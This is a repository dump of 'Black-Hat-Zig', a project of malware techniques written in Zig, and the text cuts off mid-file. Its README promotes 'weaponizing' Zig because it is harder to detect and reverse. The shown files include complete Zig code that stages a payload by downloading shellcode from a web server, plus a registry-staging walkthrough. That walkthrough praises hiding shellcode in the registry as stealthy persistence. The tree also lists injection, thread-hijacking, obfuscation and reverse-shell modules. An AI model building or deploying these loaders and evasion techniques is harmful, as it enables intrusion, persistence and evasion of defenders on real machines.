``` ├── .github/ ├── workflows/ ├── test_build.yml (100 tokens) ├── .gitignore ├── Black-Hat-Zig.png ├── LICENSE (omitted) ├── README.md (600 tokens) ├── build_all.sh (100 tokens) ├── mkdocs.yml (500 tokens) ├── src/ ├── .nav.yml (100 tokens) ├── CNAME ├── Malware-Techniques/ ├── Payload-Staging/ ├── web_server.md (1400 tokens) ├── web_server/ ├── build.zig (200 tokens) ├── build.zig.zon (900 tokens) ├── payload/ ├── calc.bin ├── src/ ├── main.zig (1300 tokens) ├── windows_registry.md (2.5k tokens) ├── windows_registry/ ├── build.zig (200 tokens) ├── build.zig.zon (900 tokens) ├── src/ ├── main.zig (2.3k tokens) ├── Process-Enumeration/ ├── create_tool_help_32_snapshot.md (1300 tokens) ├── create_tool_help_32_snapshot/ ├── build.zig (700 tokens) ├── build.zig.zon (900 tokens) ├── src/ ├── main.zig (1200 tokens) ├── enum_processes.md (1700 tokens) ├── enum_processes/ ├── build.zig (1100 tokens) ├── build.zig.zon (800 tokens) ├── src/ ├── main.zig (1500 tokens) ├── root.zig (100 tokens) ├── nt_query_system_information.md (6.2k tokens) ├── nt_query_system_information/ ├── build.zig (700 tokens) ├── build.zig.zon (900 tokens) ├── src/ ├── main.zig (1500 tokens) ├── windows_structs.zig (4.5k tokens) ├── Process-Injection/ ├── dll_injection.md (2.1k tokens) ├── dll_injection/ ├── build.zig (500 tokens) ├── build.zig.zon (900 tokens) ├── src/ ├── main.zig (1900 tokens) ├── root.zig (300 tokens) ├── shellcode_injection.md (2.2k tokens) ├── shellcode_injection/ ├── build.zig (200 tokens) ├── build.zig.zon (900 tokens) ├── src/ ├── main.zig (2k tokens) ├── Thread-Hijacking/ ├── local_thread_creation.md (2.3k tokens) ├── local_thread_creation/ ├── build.zig (700 tokens) ├── build.zig.zon (900 tokens) ├── src/ ├── main.zig (2.2k tokens) ├── local_thread_enumeration.md (2.5k tokens) ├── local_thread_enumeration/ ├── build.zig (700 tokens) ├── build.zig.zon (900 tokens) ├── src/ ├── main.zig (2.3k tokens) ├── remote_thread_creation.md (2.6k tokens) ├── remote_thread_creation/ ├── build.zig (700 tokens) ├── build.zig.zon (900 tokens) ├── src/ ├── main.zig (2.5k tokens) ├── Payload-Encryption/ ├── AES.md (6.7k tokens) ├── AES/ ├── bcrypt_aes/ ├── build.zig (200 tokens) ├── build.zig.zon (900 tokens) ├── src/ ├── main.zig (3.4k tokens) ├── std_aes/ ├── build.zig (200 tokens) ├── build.zig.zon (900 tokens) ├── src/ ├── main.zig (1700 tokens) ├── tiny_aes/ ├── build.zig (200 tokens) ├── build.zig.zon (900 tokens) ├── src/ ├── aes.c (3.7k tokens) ├── aes.h (600 tokens) ├── main.zig (1300 tokens) ├── RC4.md (1200 tokens) ├── RC4/ ├── system_function_032_rc4/ ├── build.zig (200 tokens) ├── build.zig.zon (900 tokens) ├── src/ ├── main.zig (600 tokens) ├── system_function_033_rc4/ ├── build.zig (700 tokens) ├── build.zig.zon (900 tokens) ├── src/ ├── main.zig (600 tokens) ├── XOR.md (500 tokens) ├── XOR/ ├── std_lib_xor/ ├── build.zig (200 tokens) ├── build.zig.zon (900 tokens) ├── src/ ├── main.zig (400 tokens) ├── Payload-Execution/ ├── dll.md (1100 tokens) ├── dll/ ├── build.zig (300 tokens) ├── build.zig.zon (900 tokens) ├── src/ ├── main.zig (600 tokens) ├── root.zig (300 tokens) ├── shellcode.md (1900 tokens) ├── shellcode/ ├── build.zig (200 tokens) ├── build.zig.zon (900 tokens) ├── src/ ├── main.zig (1700 tokens) ├── Payload-Obfuscation/ ├── IP-Address-Obfuscation.md (3.2k tokens) ├── IP-Address-Obfuscation/ ├── ipv4_deobfuscation/ ├── build.zig (200 tokens) ├── build.zig.zon (900 tokens) ├── src/ ├── main.zig (700 tokens) ├── ipv4_obfuscation/ ├── build.zig (200 tokens) ├── build.zig.zon (900 tokens) ├── src/ ├── main.zig (600 tokens) ├── ipv6_deobfuscation/ ├── build.zig (200 tokens) ├── build.zig.zon (900 tokens) ├── src/ ├── main.zig (700 tokens) ├── ipv6_obfuscation/ ├── build.zig (200 tokens) ├── build.zig.zon (900 tokens) ├── src/ ├── main.zig (700 tokens) ├── MAC-Address-Obfuscation.md (1500 tokens) ├── MAC-Address-Obfuscation/ ├── mac_deobfuscation/ ├── build.zig (200 tokens) ├── build.zig.zon (900 tokens) ├── src/ ├── main.zig (800 tokens) ├── mac_obfuscation/ ├── build.zig (200 tokens) ├── build.zig.zon (900 tokens) ├── src/ ├── main.zig (600 tokens) ├── UUID-Obfuscation.md (1500 tokens) ├── UUID-Obfuscation/ ├── uuid_deobfuscation/ ├── build.zig (200 tokens) ├── build.zig.zon (900 tokens) ├── src/ ├── main.zig (800 tokens) ├── uuid_obfuscation/ ├── build.zig (200 tokens) ├── build.zig.zon (900 tokens) ├── src/ ├── main.zig (600 tokens) ├── Payload-Placement/ ├── dot_data.md (900 tokens) ├── dot_data_section/ ├── build.zig (200 tokens) ├── build.zig.zon (700 tokens) ├── src/ ├── main.zig (500 tokens) ├── dot_rdata.md (700 tokens) ├── dot_rdata_section/ ├── build.zig (200 tokens) ├── build.zig.zon (700 tokens) ├── src/ ├── main.zig (500 tokens) ├── dot_rsrc.md (100 tokens) ├── dot_rsrc_section/ ├── build.zig (200 tokens) ├── build.zig.zon (900 tokens) ├── resource.rc ├── src/ ├── calc.ico ├── main.zig (500 tokens) ├── dot_text.md (700 tokens) ├── dot_text_section/ ├── build.zig (200 tokens) ├── build.zig.zon (900 tokens) ├── src/ ├── main.zig (500 tokens) ├── Reverse-Shell/ ├── std_reverse_shell.md (700 tokens) ├── std_reverse_shell/ ├── build.zig (200 tokens) ├── build.zig.zon (700 tokens) ├── src/ ├── main.zig (600 tokens) ├── std_reverse_shell_with_tls.md (1300 tokens) ├── std_reverse_shell_with_tls/ ├── build.zig (700 tokens) ├── build.zig.zon (900 tokens) ├── listener.py (300 tokens) ├── src/ ├── main.zig (700 tokens) ├── assets/ ├── Black-Hat-Zig.png ├── favicon.png ├── favicon.svg (200 tokens) ├── zig.svg (100 tokens) ├── epilogue.md ├── index.md (500 tokens) ├── prologue.md (300 tokens) ├── stylesheets/ ├── extra.css ``` ## /.github/workflows/test_build.yml ```yml path="/.github/workflows/test_build.yml" name: Compilation Test on: push: branches: [main] pull_request: jobs: compilation_test: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 - name: Install Zig uses: mlugg/setup-zig@v2 with: version: 0.14.0 - name: Build all projects run: ./build_all.sh ``` ## /.gitignore ```gitignore path="/.gitignore" **/.zig-cache/ **/zig-out/ **/.DS_Store .cache/ site/ ``` ## /Black-Hat-Zig.png Binary file available at https://raw.githubusercontent.com/CX330Blake/Black-Hat-Zig/refs/heads/main/Black-Hat-Zig.png ## /README.md # Black-Hat-Zig <p align="center"> <img alt="GitHub License" src="https://img.shields.io/github/license/CX330Blake/black-hat-zig"> <img alt="GitHub top language" src="https://img.shields.io/github/languages/top/cx330blake/black-hat-zig"> <img alt="GitHub repo size" src="https://img.shields.io/github/repo-size/cx330blake/black-hat-zig"> <img alt="X (formerly Twitter) Follow" src="https://img.shields.io/twitter/follow/CX330Blake"> </p> <p align="center"> <a href="#intro">Intro</a> • <a href="#why-zig">Why Zig?</a> • <a href="#usage">Usage</a> • <a href="#contributors">Contributors</a> • <a href="#credits--references">Credits & References</a> • <a href="#star-history">Star History</a> • <a href="#disclaimer">Disclaimer</a> </p> <p height="350px" align="center"> <img src="./Black-Hat-Zig.png"> <br/> <b>Hello hackers. Hello maldevs. Hello reversers. Nice to see you here to explore the dark power of Zig!</b><br/><br/> <b>Maintained and managed by <a href="https://github.com/cx330blake">@CX330Blake</a></b> </p> --- ## Intro > [!IMPORTANT] > This project is continuously updating! This project provides many malware techniques implementation using Zig since I'm a huge fan of it. You can use this repo to weaponize Zig. Black-Hat-Zig is continuously updating to make sure it contains as more content as it could. It will be perfect if you want to create a PR for this project. Okay, let's hack the planet! ## Why Zig? - 🤝 Easy to interact with C/C++ source - 🔎 It's newer, so it's harder to be detect - 💪 Strongly low level control, even lower than C - 😱 It's harder to RE because of the modern compiler - 🛡️ Minimal runtime dependencies - No massive standard library footprint - 🎯 No undefined behavior - Explicit handling of edge cases prevents crashes ## Usage - [Quick Start](https://black-hat-zig.cx330.tw) ## Contributors This project is mainly maintained & managed by [@CX330Blake](https://github.com/CX330Blake). PRs are welcomed. Hope there's more people use Zig for malware developing so the ecosystem will be more mature. Huge thanks for these contributors! <a href="https://github.com/CX330Blake/black-hat-zig/graphs/contributors"> <img src="https://contrib.rocks/image?repo=CX330Blake/black-hat-zig" /> </a> ## Credits & References - [Maldev Academy](https://maldevacademy.com/) - [OffensiveNim](https://github.com/byt3bl33d3r/OffensiveNim) ## Star History [](https://www.star-history.com/#CX330blake/black-hat-zig&Date) ## Disclaimer This project is for ethical and educational purpose only. Don't be a cyber criminal. <!-- GitAds-Verify: SYUFFUKR39H8T8MYYOIUKQ5AFB1O8AQ9 --> ## GitAds Sponsored <p align="center"> This project is <strong>sponsored by <a href="https://docs.gitads.dev/docs/getting-started/publishers">GitAds</a></strong>.<br> You can get your GitHub repository sponsored too — <a href="https://docs.gitads.dev/docs/getting-started/publishers">create your account now</a>. </p> [](https://gitads.dev/v1/ad-track?source=cx330blake/black-hat-zig@github) ## /build_all.sh ```sh path="/build_all.sh" #!/usr/bin/env bash set -e ROOT_DIR="$(dirname "$(realpath "$0")")/src" cd "$ROOT_DIR" failed=0 for build_file in $(find . -type f -name build.zig); do dir=$(dirname "$build_file") echo "Building $dir" (cd "$dir" && zig build) || failed=1 echo done exit $failed ``` ## /mkdocs.yml ```yml path="/mkdocs.yml" site_name: Black-Hat-Zig site_url: https://black-hat-zig.cx330.tw repo_url: https://github.com/cx330blake/black-hat-zig repo_name: CX330Blake/Black-Hat-Zig theme: name: material favicon: assets/favicon.svg logo: assets/zig.svg icon: repo: fontawesome/brands/github features: - content.code.copy - content.code.annotation - search.share - search.highlight - search.suggest - content.code.select - navigation.path - navigation.footer - navigation.top - navigation.instant - navigation.instant.progress - navigation.tabs - navigation.tracking - navigation.instant - navigation.instant.prefetch palette: - media: "(prefers-color-scheme: light)" scheme: default primary: orange accent: deep orange toggle: icon: material/brightness-7 name: Switch to dark mode - media: "(prefers-color-scheme: dark)" scheme: slate primary: orange accent: deep orange toggle: icon: material/brightness-4 name: Switch to light mode docs_dir: "src" plugins: - search - awesome-nav - social - privacy: links_attr_map: target: _blank markdown_extensions: - pymdownx.highlight: anchor_linenums: true line_spans: __span pygments_lang_class: true - pymdownx.inlinehilite - pymdownx.snippets - pymdownx.superfences - def_list - pymdownx.tasklist: custom_checkbox: true - mdx_truly_sane_lists - pymdownx.superfences: custom_fences: - name: mermaid class: mermaid format: !!python/name:pymdownx.superfences.fence_code_format extra_css: - stylesheets/extra.css extra: consent: title: Cookie consent description: >- We use cookies to recognize your repeated visits and preferences, as well as to measure the effectiveness of our documentation and whether users find what they're searching for. With your consent, you're helping us to make our documentation better. analytics: provider: google property: G-CYTPQ2676T ``` ## /src/.nav.yml ```yml path="/src/.nav.yml" nav: - Get Started: - ./index.md - ./prologue.md - Payload Management: - Payload Placement: - ./Payload-Placement/dot_data.md - ./Payload-Placement/dot_rdata.md - ./Payload-Placement/dot_text.md - ./Payload-Placement/dot_rsrc.md - ./Payload-Obfuscation/ - Payload Encryption: - ./Payload-Encryption/XOR.md - ./Payload-Encryption/RC4.md - ./Payload-Encryption/AES.md - ./Payload-Execution/ - Malware Techniques: - ./Malware-Techniques/* - Malware Examples: - ./Reverse-Shell/ - Epilogue: ./epilogue.md ``` ## /src/CNAME ``` path="/src/CNAME" black-hat-zig.cx330.tw ``` ## /src/Malware-Techniques/Payload-Staging/web_server.md # Using Web Server ## TL;DR [See the code example](https://github.com/CX330Blake/Black-Hat-Zig/tree/main/src/Malware-Techniques/Payload-Staging/web_server) Payload staging via web server downloads the malicious code from a remote location when the program executes. By keeping the payload off disk until it is needed, this method reduces the signature of the binary and allows attackers to deliver updated payloads on demand. The example sets up an HTTP request to a specified URL, retrieves the binary data, and then executes the downloaded shellcode directly in memory. Staging payloads remotely also facilitates command and control style operations and can complicate forensic analysis. ## Code Walkthrough ```zig title="main.zig" const std = @import("std"); const windows = std.os.windows; const print = std.debug.print; // Python -m http.server 8000 // Have calc.bin in the directory // Change this URL if you need const PAYLOAD: [*:0]const u16 = std.unicode.utf8ToUtf16LeStringLiteral("http://127.0.0.1:8000/calc.bin"); // Windows API types const HANDLE = windows.HANDLE; const DWORD = windows.DWORD; const BOOL = windows.BOOL; const LPVOID = *anyopaque; const LPCWSTR = [*:0]const u16; const SIZE_T = usize; const PBYTE = [*]u8; // WinInet types const HINTERNET = *anyopaque; // WinInet constants const INTERNET_FLAG_HYPERLINK = 0x00000400; const INTERNET_FLAG_IGNORE_CERT_DATE_INVALID = 0x00002000; const INTERNET_OPTION_SETTINGS_CHANGED = 39; const LPTR = 0x0040; const LMEM_MOVEABLE = 0x0002; const LMEM_ZEROINIT = 0x0040; // Windows API function declarations extern "kernel32" fn GetLastError() callconv(.C) DWORD; extern "kernel32" fn LocalAlloc(uFlags: DWORD, uBytes: SIZE_T) callconv(.C) ?LPVOID; extern "kernel32" fn LocalReAlloc(hMem: LPVOID, uBytes: SIZE_T, uFlags: DWORD) callconv(.C) ?LPVOID; extern "kernel32" fn LocalFree(hMem: LPVOID) callconv(.C) LPVOID; // WinInet API function declarations extern "wininet" fn InternetOpenW(lpszAgent: LPCWSTR, dwAccessType: DWORD, lpszProxy: ?LPCWSTR, lpszProxyBypass: ?LPCWSTR, dwFlags: DWORD) callconv(.C) ?HINTERNET; extern "wininet" fn InternetOpenUrlW(hInternet: HINTERNET, lpszUrl: LPCWSTR, lpszHeaders: ?LPCWSTR, dwHeadersLength: DWORD, dwFlags: DWORD, dwContext: usize) callconv(.C) ?HINTERNET; extern "wininet" fn InternetReadFile(hFile: HINTERNET, lpBuffer: LPVOID, dwNumberOfBytesToRead: DWORD, lpdwNumberOfBytesRead: *DWORD) callconv(.C) BOOL; extern "wininet" fn InternetCloseHandle(hInternet: HINTERNET) callconv(.C) BOOL; extern "wininet" fn InternetSetOptionW(hInternet: ?HINTERNET, dwOption: DWORD, lpBuffer: ?LPVOID, dwBufferLength: DWORD) callconv(.C) BOOL; // Get a file's payload from a url (http or https) // Return a base address of a heap allocated buffer, thats the payload // Return the payload's size fn getPayloadFromUrl(sz_url: LPCWSTR, p_payload_bytes: *?PBYTE, s_payload_size: *SIZE_T) BOOL { var h_internet: ?HINTERNET = null; var h_internet_file: ?HINTERNET = null; var p_tmp_bytes: ?LPVOID = null; var p_bytes: ?LPVOID = null; // Use defer to ensure cleanup happens regardless of how function exits defer { if (h_internet) |internet| { _ = InternetCloseHandle(internet); _ = InternetSetOptionW(null, INTERNET_OPTION_SETTINGS_CHANGED, null, 0); } if (h_internet_file) |file| { _ = InternetCloseHandle(file); } if (p_tmp_bytes) |tmp| { _ = LocalFree(tmp); } } var dw_bytes_read: DWORD = 0; var s_size: SIZE_T = 0; // Used as the total payload size // Opening the internet session handle, all arguments are NULL here since no proxy options are required h_internet = InternetOpenW(std.unicode.utf8ToUtf16LeStringLiteral("Black-Hat-Zig"), 0, // NULL null, null, 0 // NULL ); if (h_internet == null) { print("[!] InternetOpenW Failed With Error : {d} \n", .{GetLastError()}); return 0; // FALSE } // Opening the handle to the payload using the payload's URL h_internet_file = InternetOpenUrlW(h_internet.?, sz_url, null, 0, // NULL INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, 0 // NULL ); if (h_internet_file == null) { print("[!] InternetOpenUrlW Failed With Error : {d} \n", .{GetLastError()}); return 0; // FALSE } // Allocating 1024 bytes to the temp buffer p_tmp_bytes = LocalAlloc(LPTR, 1024); if (p_tmp_bytes == null) { return 0; // FALSE } while (true) { // Reading 1024 bytes to the tmp buffer. The function will read less bytes in case the file is less than 1024 bytes. if (InternetReadFile(h_internet_file.?, p_tmp_bytes.?, 1024, &dw_bytes_read) == 0) { print("[!] InternetReadFile Failed With Error : {d} \n", .{GetLastError()}); if (p_bytes) |bytes| { _ = LocalFree(bytes); } return 0; // FALSE } // Calculating the total size of the total buffer s_size += dw_bytes_read; // In case the total buffer is not allocated yet // then allocate it equal to the size of the bytes read since it may be less than 1024 bytes if (p_bytes == null) { p_bytes = LocalAlloc(LPTR, dw_bytes_read); } else { // Otherwise, reallocate the pBytes to equal to the total size, sSize. // This is required in order to fit the whole payload p_bytes = LocalReAlloc(p_bytes.?, s_size, LMEM_MOVEABLE | LMEM_ZEROINIT); } if (p_bytes == null) { return 0; // FALSE } // Append the temp buffer to the end of the total buffer const dest_ptr = @as([*]u8, @ptrCast(p_bytes.?)) + (s_size - dw_bytes_read); @memcpy(dest_ptr[0..dw_bytes_read], @as([*]u8, @ptrCast(p_tmp_bytes.?))[0..dw_bytes_read]); // Clean up the temp buffer @memset(@as([*]u8, @ptrCast(p_tmp_bytes.?))[0..dw_bytes_read], 0); // If less than 1024 bytes were read it means the end of the file was reached // Therefore exit the loop if (dw_bytes_read < 1024) { break; } // Otherwise, read the next 1024 bytes } // Saving p_payload_bytes.* = @ptrCast(p_bytes.?); s_payload_size.* = s_size; return 1; // TRUE } pub fn main() !void { var size: SIZE_T = 0; var bytes: ?PBYTE = null; // Reading the payload if (getPayloadFromUrl(PAYLOAD, &bytes, &size) == 0) { std.process.exit(1); } // Ensure we free the memory when done defer if (bytes) |b| { _ = LocalFree(b); }; print("[i] Bytes : 0x{X} \n", .{@intFromPtr(bytes.?)}); print("[i] Size : {d} \n", .{size}); // Printing it const payload_bytes = @as([*]u8, @ptrCast(bytes.?))[0..size]; for (payload_bytes, 0..) |byte, i| { if (i % 16 == 0) { print("\n\t", .{}); } print("{X:0>2} ", .{byte}); } print("\n\n", .{}); print("[#] Press <Enter> To Quit ... ", .{}); var buffer: [256]u8 = undefined; _ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {}; } ``` ## /src/Malware-Techniques/Payload-Staging/web_server/build.zig ```zig path="/src/Malware-Techniques/Payload-Staging/web_server/build.zig" const std = @import("std"); pub fn build(b: *std.Build) void { const target = b.standardTargetOptions(.{ .default_target = .{ .cpu_arch = .x86_64, .os_tag = .windows } }); const optimize = b.standardOptimizeOption(.{}); const exe = b.addExecutable(.{ .name = "web_server", .root_source_file = b.path("src/main.zig"), .target = target, .optimize = optimize, }); b.installArtifact(exe); const run_cmd = b.addRunArtifact(exe); run_cmd.step.dependOn(b.getInstallStep()); if (b.args) |args| { run_cmd.addArgs(args); } const run_step = b.step("run", "Run the app"); run_step.dependOn(&run_cmd.step); const exe_tests = b.addTest(.{ .root_source_file = b.path("src/main.zig"), .target = target, .optimize = optimize, }); const run_exe_tests = b.addRunArtifact(exe_tests); const test_step = b.step("test", "Run unit tests"); test_step.dependOn(&run_exe_tests.step); } ``` ## /src/Malware-Techniques/Payload-Staging/web_server/build.zig.zon ```zon path="/src/Malware-Techniques/Payload-Staging/web_server/build.zig.zon" .{ // This is the default name used by packages depending on this one. For // example, when a user runs `zig fetch --save <url>`, this field is used // as the key in the `dependencies` table. Although the user can choose a // different name, most users will stick with this provided value. // // It is redundant to include "zig" in this name because it is already // within the Zig package namespace. .name = .web_server, // This is a [Semantic Version](https://semver.org/). // In a future version of Zig it will be used for package deduplication. .version = "0.0.0", // Together with name, this represents a globally unique package // identifier. This field is generated by the Zig toolchain when the // package is first created, and then *never changes*. This allows // unambiguous detection of one package being an updated version of // another. // // When forking a Zig project, this id should be regenerated (delete the // field and run `zig build`) if the upstream project is still maintained. // Otherwise, the fork is *hostile*, attempting to take control over the // original project's identity. Thus it is recommended to leave the comment // on the following line intact, so that it shows up in code reviews that // modify the field. .fingerprint = 0x4d1778b19ea87f36, // Changing this has security and trust implications. // Tracks the earliest Zig version that the package considers to be a // supported use case. .minimum_zig_version = "0.14.0", // This field is optional. // Each dependency must either provide a `url` and `hash`, or a `path`. // `zig build --fetch` can be used to fetch all dependencies of a package, recursively. // Once all dependencies are fetched, `zig build` no longer requires // internet connectivity. .dependencies = .{ // See `zig fetch --save <url>` for a command-line interface for adding dependencies. //.example = .{ // // When updating this field to a new URL, be sure to delete the corresponding // // `hash`, otherwise you are communicating that you expect to find the old hash at // // the new URL. If the contents of a URL change this will result in a hash mismatch // // which will prevent zig from using it. // .url = "https://example.com/foo.tar.gz", // // // This is computed from the file contents of the directory of files that is // // obtained after fetching `url` and applying the inclusion rules given by // // `paths`. // // // // This field is the source of truth; packages do not come from a `url`; they // // come from a `hash`. `url` is just one of many possible mirrors for how to // // obtain a package matching this `hash`. // // // // Uses the [multihash](https://multiformats.io/multihash/) format. // .hash = "...", // // // When this is provided, the package is found in a directory relative to the // // build root. In this case the package's hash is irrelevant and therefore not // // computed. This field and `url` are mutually exclusive. // .path = "foo", // // // When this is set to `true`, a package is declared to be lazily // // fetched. This makes the dependency only get fetched if it is // // actually used. // .lazy = false, //}, }, // Specifies the set of files and directories that are included in this package. // Only files and directories listed here are included in the `hash` that // is computed for this package. Only files listed here will remain on disk // when using the zig package manager. As a rule of thumb, one should list // files required for compilation plus any license(s). // Paths are relative to the build root. Use the empty string (`""`) to refer to // the build root itself. // A directory listed here means that all files within, recursively, are included. .paths = .{ "build.zig", "build.zig.zon", "src", // For example... //"LICENSE", //"README.md", }, } ``` ## /src/Malware-Techniques/Payload-Staging/web_server/payload/calc.bin Binary file available at https://raw.githubusercontent.com/CX330Blake/Black-Hat-Zig/refs/heads/main/src/Malware-Techniques/Payload-Staging/web_server/payload/calc.bin ## /src/Malware-Techniques/Payload-Staging/web_server/src/main.zig ```zig path="/src/Malware-Techniques/Payload-Staging/web_server/src/main.zig" const std = @import("std"); const windows = std.os.windows; const print = std.debug.print; // Python -m http.server 8000 // Have calc.bin in the directory // Change this URL if you need const PAYLOAD: [*:0]const u16 = std.unicode.utf8ToUtf16LeStringLiteral("http://127.0.0.1:8000/calc.bin"); // Windows API types const HANDLE = windows.HANDLE; const DWORD = windows.DWORD; const BOOL = windows.BOOL; const LPVOID = *anyopaque; const LPCWSTR = [*:0]const u16; const SIZE_T = usize; const PBYTE = [*]u8; // WinInet types const HINTERNET = *anyopaque; // WinInet constants const INTERNET_FLAG_HYPERLINK = 0x00000400; const INTERNET_FLAG_IGNORE_CERT_DATE_INVALID = 0x00002000; const INTERNET_OPTION_SETTINGS_CHANGED = 39; const LPTR = 0x0040; const LMEM_MOVEABLE = 0x0002; const LMEM_ZEROINIT = 0x0040; // Windows API function declarations extern "kernel32" fn GetLastError() callconv(.C) DWORD; extern "kernel32" fn LocalAlloc(uFlags: DWORD, uBytes: SIZE_T) callconv(.C) ?LPVOID; extern "kernel32" fn LocalReAlloc(hMem: LPVOID, uBytes: SIZE_T, uFlags: DWORD) callconv(.C) ?LPVOID; extern "kernel32" fn LocalFree(hMem: LPVOID) callconv(.C) LPVOID; // WinInet API function declarations extern "wininet" fn InternetOpenW(lpszAgent: LPCWSTR, dwAccessType: DWORD, lpszProxy: ?LPCWSTR, lpszProxyBypass: ?LPCWSTR, dwFlags: DWORD) callconv(.C) ?HINTERNET; extern "wininet" fn InternetOpenUrlW(hInternet: HINTERNET, lpszUrl: LPCWSTR, lpszHeaders: ?LPCWSTR, dwHeadersLength: DWORD, dwFlags: DWORD, dwContext: usize) callconv(.C) ?HINTERNET; extern "wininet" fn InternetReadFile(hFile: HINTERNET, lpBuffer: LPVOID, dwNumberOfBytesToRead: DWORD, lpdwNumberOfBytesRead: *DWORD) callconv(.C) BOOL; extern "wininet" fn InternetCloseHandle(hInternet: HINTERNET) callconv(.C) BOOL; extern "wininet" fn InternetSetOptionW(hInternet: ?HINTERNET, dwOption: DWORD, lpBuffer: ?LPVOID, dwBufferLength: DWORD) callconv(.C) BOOL; // Get a file's payload from a url (http or https) // Return a base address of a heap allocated buffer, thats the payload // Return the payload's size fn getPayloadFromUrl(sz_url: LPCWSTR, p_payload_bytes: *?PBYTE, s_payload_size: *SIZE_T) BOOL { var h_internet: ?HINTERNET = null; var h_internet_file: ?HINTERNET = null; var p_tmp_bytes: ?LPVOID = null; var p_bytes: ?LPVOID = null; // Use defer to ensure cleanup happens regardless of how function exits defer { if (h_internet) |internet| { _ = InternetCloseHandle(internet); _ = InternetSetOptionW(null, INTERNET_OPTION_SETTINGS_CHANGED, null, 0); } if (h_internet_file) |file| { _ = InternetCloseHandle(file); } if (p_tmp_bytes) |tmp| { _ = LocalFree(tmp); } } var dw_bytes_read: DWORD = 0; var s_size: SIZE_T = 0; // Used as the total payload size // Opening the internet session handle, all arguments are NULL here since no proxy options are required h_internet = InternetOpenW(std.unicode.utf8ToUtf16LeStringLiteral("Black-Hat-Zig"), 0, // NULL null, null, 0 // NULL ); if (h_internet == null) { print("[!] InternetOpenW Failed With Error : {d} \n", .{GetLastError()}); return 0; // FALSE } // Opening the handle to the payload using the payload's URL h_internet_file = InternetOpenUrlW(h_internet.?, sz_url, null, 0, // NULL INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, 0 // NULL ); if (h_internet_file == null) { print("[!] InternetOpenUrlW Failed With Error : {d} \n", .{GetLastError()}); return 0; // FALSE } // Allocating 1024 bytes to the temp buffer p_tmp_bytes = LocalAlloc(LPTR, 1024); if (p_tmp_bytes == null) { return 0; // FALSE } while (true) { // Reading 1024 bytes to the tmp buffer. The function will read less bytes in case the file is less than 1024 bytes. if (InternetReadFile(h_internet_file.?, p_tmp_bytes.?, 1024, &dw_bytes_read) == 0) { print("[!] InternetReadFile Failed With Error : {d} \n", .{GetLastError()}); if (p_bytes) |bytes| { _ = LocalFree(bytes); } return 0; // FALSE } // Calculating the total size of the total buffer s_size += dw_bytes_read; // In case the total buffer is not allocated yet // then allocate it equal to the size of the bytes read since it may be less than 1024 bytes if (p_bytes == null) { p_bytes = LocalAlloc(LPTR, dw_bytes_read); } else { // Otherwise, reallocate the pBytes to equal to the total size, sSize. // This is required in order to fit the whole payload p_bytes = LocalReAlloc(p_bytes.?, s_size, LMEM_MOVEABLE | LMEM_ZEROINIT); } if (p_bytes == null) { return 0; // FALSE } // Append the temp buffer to the end of the total buffer const dest_ptr = @as([*]u8, @ptrCast(p_bytes.?)) + (s_size - dw_bytes_read); @memcpy(dest_ptr[0..dw_bytes_read], @as([*]u8, @ptrCast(p_tmp_bytes.?))[0..dw_bytes_read]); // Clean up the temp buffer @memset(@as([*]u8, @ptrCast(p_tmp_bytes.?))[0..dw_bytes_read], 0); // If less than 1024 bytes were read it means the end of the file was reached // Therefore exit the loop if (dw_bytes_read < 1024) { break; } // Otherwise, read the next 1024 bytes } // Saving p_payload_bytes.* = @ptrCast(p_bytes.?); s_payload_size.* = s_size; return 1; // TRUE } pub fn main() !void { var size: SIZE_T = 0; var bytes: ?PBYTE = null; // Reading the payload if (getPayloadFromUrl(PAYLOAD, &bytes, &size) == 0) { std.process.exit(1); } // Ensure we free the memory when done defer if (bytes) |b| { _ = LocalFree(b); }; print("[i] Bytes : 0x{X} \n", .{@intFromPtr(bytes.?)}); print("[i] Size : {d} \n", .{size}); // Printing it const payload_bytes = @as([*]u8, @ptrCast(bytes.?))[0..size]; for (payload_bytes, 0..) |byte, i| { if (i % 16 == 0) { print("\n\t", .{}); } print("{X:0>2} ", .{byte}); } print("\n\n", .{}); print("[#] Press <Enter> To Quit ... ", .{}); var buffer: [256]u8 = undefined; _ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {}; } ``` ## /src/Malware-Techniques/Payload-Staging/windows_registry.md # Using Windows Registry ## TL;DR [See the code example](https://github.com/CX330Blake/Black-Hat-Zig/tree/main/src/Malware-Techniques/Payload-Staging/windows_registry) Another staging mechanism is to hide the payload inside the Windows Registry. Malware can write encrypted shellcode to a registry value and later read it back when execution is desired. Because registry entries are less scrutinized than files on disk, this method provides a stealthy form of persistence. The example offers both write and read modes, demonstrating how to store the payload under a selected key and then execute it from memory. Leveraging the registry in this way allows attackers to avoid leaving obvious artifacts on the filesystem. ## Code Walkthrough ```zig title="main.zig" const std = @import("std"); const windows = std.os.windows; const print = std.debug.print; const kernel32 = windows.kernel32; // Uncomment one of the following to enable the read/write mode const WRITEMODE = true; // Changed to false for READ MODE const READMODE = !WRITEMODE; // Changed to true for READ MODE // I/O registry key to read/write const REGISTRY = "Control Panel"; const REGSTRING = "Black-Hat-Zig"; // Windows API types const HANDLE = windows.HANDLE; const DWORD = windows.DWORD; const BOOL = windows.BOOL; const LPVOID = *anyopaque; const PVOID = *anyopaque; const PBYTE = [*]u8; const SIZE_T = usize; const LSTATUS = i32; const NTSTATUS = i32; // Registry constants const HKEY_CURRENT_USER = @as(windows.HKEY, @ptrFromInt(0x80000001)); const KEY_SET_VALUE = 0x0002; const REG_BINARY = 3; const RRF_RT_ANY = 0x0000FFFF; const ERROR_SUCCESS = 0; // Memory constants const MEM_COMMIT = 0x1000; const MEM_RESERVE = 0x2000; const PAGE_READWRITE = 0x04; const PAGE_EXECUTE_READWRITE = 0x40; const HEAP_ZERO_MEMORY = 0x00000008; // USTRING structure for SystemFunction032 const USTRING = extern struct { Length: DWORD, MaximumLength: DWORD, Buffer: PVOID, }; // Windows API function declarations extern "kernel32" fn GetLastError() callconv(.C) DWORD; extern "kernel32" fn GetProcessHeap() callconv(.C) HANDLE; extern "kernel32" fn HeapAlloc(hHeap: HANDLE, dwFlags: DWORD, dwBytes: SIZE_T) callconv(.C) ?LPVOID; extern "kernel32" fn HeapFree(hHeap: HANDLE, dwFlags: DWORD, lpMem: LPVOID) callconv(.C) BOOL; extern "kernel32" fn 